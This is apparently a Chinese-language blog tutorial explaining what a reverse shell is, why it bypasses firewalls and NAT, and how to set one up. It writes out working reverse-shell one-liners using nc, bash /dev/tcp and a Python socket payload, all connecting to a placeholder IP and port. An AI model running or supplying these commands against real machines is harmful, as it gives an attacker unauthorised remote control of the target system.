什么是反彈 Shell?

前段時(shí)間被一位產(chǎn)品經(jīng)理嘲笑了,說(shuō)我居然連反彈 Shell 都不知道
說(shuō)實(shí)話當(dāng)時(shí)我還真不知道,但這口氣咽不下去啊,得趕緊學(xué)來(lái)看看,這不,我已經(jīng)學(xué)會(huì)了
學(xué)完之后我特地來(lái)記錄下,同時(shí)分享給大家,以后產(chǎn)品經(jīng)理再也不敢嘲笑我們不懂反彈 Shell 了
什么是反彈 Shell
我們都知道 Shell 的概念吧,簡(jiǎn)單來(lái)說(shuō),Shell 就是實(shí)現(xiàn)用戶命令的接口,通過(guò)這個(gè)接口我們就能實(shí)現(xiàn)對(duì)計(jì)算機(jī)的控制,比如我們常見(jiàn)的 ssh 就是執(zhí)行的 Shell 命令實(shí)現(xiàn)對(duì)遠(yuǎn)程對(duì)服務(wù)器的控制
那反彈 Shell 是啥呢?
其英文名叫做 Reverse Shell,具體干什么的呢?就是控制端首先監(jiān)聽(tīng)某個(gè) TCP/UDP 端口,然后被控制端向這個(gè)端口發(fā)起一個(gè)請(qǐng)求,同時(shí)將自己命令行的輸入輸出轉(zhuǎn)移到控制端,從而控制端就可以輸入命令來(lái)控制被控端了
比如說(shuō),我們有兩臺(tái)主機(jī) A、B,我們最終想實(shí)現(xiàn)在 A 上控制 B。那么如果用正向 Shell,其實(shí)就是在 A 上輸入 B 的連接地址,比如通過(guò) ssh 連接到 B,連接成功之后,我們就可以在 A 上通過(guò)命令控制 B 了。如果用反向 Shell,那就是在 A 上先開(kāi)啟一個(gè)監(jiān)聽(tīng)端口,然后讓 B 去連接 A 的這個(gè)端口,連接成功之后,A 這邊就能通過(guò)命令控制 B了
反彈 Shell 有什么用?
還是原來(lái)的例子,我們想用 A 來(lái)控制 B,如果想用 ssh 等命令來(lái)控制,那得輸入 B 的 sshd 地址或者端口對(duì)吧?但是在很多情況下,由于防火墻、安全組、局域網(wǎng)、NAT 等原因,我們實(shí)際上是無(wú)法直接連接到 B 的
比如:
A 雖然有公網(wǎng) IP,但 B 是一個(gè)處于內(nèi)網(wǎng)的機(jī)器,A 就沒(méi)法直接連到 B 上
B 上開(kāi)了防火墻或者安全組限制,sshd 的服務(wù)端口 22 被封閉了
B 是一臺(tái)撥號(hào)主機(jī),其 IP 地址經(jīng)常變動(dòng)
假如 B 被攻擊了,我們想讓 B 向 A 匯報(bào)自己的狀況,那自然就需要 B 主動(dòng)去連接 A
如果是這些情況,我們就可以用反彈 Shell 用 A 來(lái)控制 B 了
反彈 Shell 案例
首先我們先看一個(gè)標(biāo)準(zhǔn)的反彈 Shell 的例子,這里我們一共需要兩臺(tái)主機(jī):
A 是控制端,可以處于公網(wǎng)之中,也可以和 B 處于一個(gè)局域網(wǎng)中,總之能讓 B 找到 A 就行
B 是被控端,可以處在局域網(wǎng)之中
在開(kāi)始之前我們需要用到 nc 命令,安裝非常簡(jiǎn)單
如果是 CentOS 系列系統(tǒng),安裝命令如下:
yum install -y nc # CentOS
如果是 Ubuntu 系列系統(tǒng),安裝命令可以參考 https://stackoverflow.com/questions/10065993/how-to-switch-to-netcat-traditional-in-ubuntu[1]
接著,我們?cè)?A 上執(zhí)行如下命令:
nc -lvp 32767
這個(gè)命令的意思是開(kāi)啟 32767 的端口監(jiān)聽(tīng),運(yùn)行之后如圖所示:
這樣就表明 A 上正在監(jiān)聽(tīng) 32767 端口的連接了
這時(shí)候,我們可以在 B 上通過(guò)類似的命令連接到 A,假如 A 的 IP 是 111.112.113.114,那么命令如下:
nc 111.112.113.114 32767 -e /bin/bash
“注意:你在運(yùn)行的時(shí)候需要替換成 A 的真實(shí) IP 和端口。
”
運(yùn)行完畢之后,我們反過(guò)來(lái)觀察下 A,就顯示了來(lái)自某個(gè) IP 和端口的連接,我們就可以輸入命令來(lái)控制 B 了,比如這里我們輸入了:
uname -a
然后就可以得到 B 的主機(jī)名了
如圖所示:
這樣我們就通過(guò) nc 包實(shí)現(xiàn)了反彈 Shell
有人說(shuō),這 B 上一定需要安裝 nc 這個(gè)包嗎?
其實(shí)不一定的,我們可以直接使用 bash 來(lái)實(shí)現(xiàn)反彈 Shell,命令如下:
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1
這個(gè)命令大致解釋下:
bash -i就是產(chǎn)生一個(gè) bash 交互環(huán)境>&可以將 bash 交互環(huán)境的輸入、輸出、錯(cuò)誤輸出都輸出到一個(gè)地方/dev/tcp/111.112.113.114/32767其實(shí)指的就是目標(biāo)主機(jī)的一個(gè)連接地址,因?yàn)?Linux 環(huán)境中所有內(nèi)容的定義都是以文件的形式存在的,指定這個(gè)地址就是讓主機(jī)和目標(biāo)主機(jī)建立一個(gè) TCP 連接0>&1可以將標(biāo)準(zhǔn)輸入和標(biāo)準(zhǔn)輸出相結(jié)合,重定向給前面標(biāo)準(zhǔn)輸出的內(nèi)容
通過(guò)這樣的命令,我們就可以就是將 B的標(biāo)準(zhǔn)輸出和錯(cuò)誤輸出都重定向給 A,并且將 A 的輸入都重定向給 B,這樣我們就可以實(shí)現(xiàn) A 對(duì) B 的遠(yuǎn)程控制了
如圖所示:
比如這樣我們就可以輕松在 A 主機(jī)上拿到 B 主機(jī)的主機(jī)名、當(dāng)前所處路徑等內(nèi)容了
另外除了用 bash,我們還可以利用 Python 進(jìn)行反彈 Shell,腳本如下:
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
可以達(dá)到同樣反彈 Shell 的效果,即可以用 A 來(lái)控制 B
總結(jié)
以上就是反彈 Shell 的介紹,靈活運(yùn)用反彈 Shell 可以大大便利某些場(chǎng)景下的遠(yuǎn)程控制,希望對(duì)大家有幫助



